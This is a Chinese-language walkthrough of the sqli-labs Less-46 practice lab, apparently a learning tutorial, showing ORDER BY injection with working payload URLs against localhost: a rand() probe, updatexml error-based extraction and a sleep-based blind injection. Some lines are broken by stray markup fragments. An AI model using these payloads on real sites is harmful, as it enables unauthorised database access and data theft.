我们打开sql-labs的第46关然后在输入框内输入?id=1时会发现页面没有任何的变化,此时我们用Visual Studio Code查看第46关的代码

此时我们发现sql语句是$sql = “SELECT * FROM users ORDER BY $id”; ,所以现在我们需要了解一下order by语句的作用。

在SQL语句中,asc是指定列按升序排列,desc则 是指定列按降序排列。
select * from users order by 1 desc;使用降序进行排列
select * from users order by 1 asc;使用升序进行排列

这时我们就知道了,sql语句只有order by后面的参数是我们可控的,所以我们可以输入” />http://127.0.0.1/sincer/Less-46/?sort=1

http://127.0.0.1/sincer/Less-46/" />

输入?sort=3时,会以PASSWORD进行排序。

当我们输入" />注入点测试

127.0.0.1/sincer/less-46/?sort=rand(true)

http://127.0.0.1/sincer/less-46/" />报错注入(获取表名)

http://127.0.0.1/sincer/less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(database()),0x7e),1)

或者

http://127.0.0.1/sincer/less-46/" />

时间盲注

http://127.0.0.1/sincer/Less-46/?sort=1%20and%20if(substr(database(),1,1)=%27s%27,1,sleep(1))--+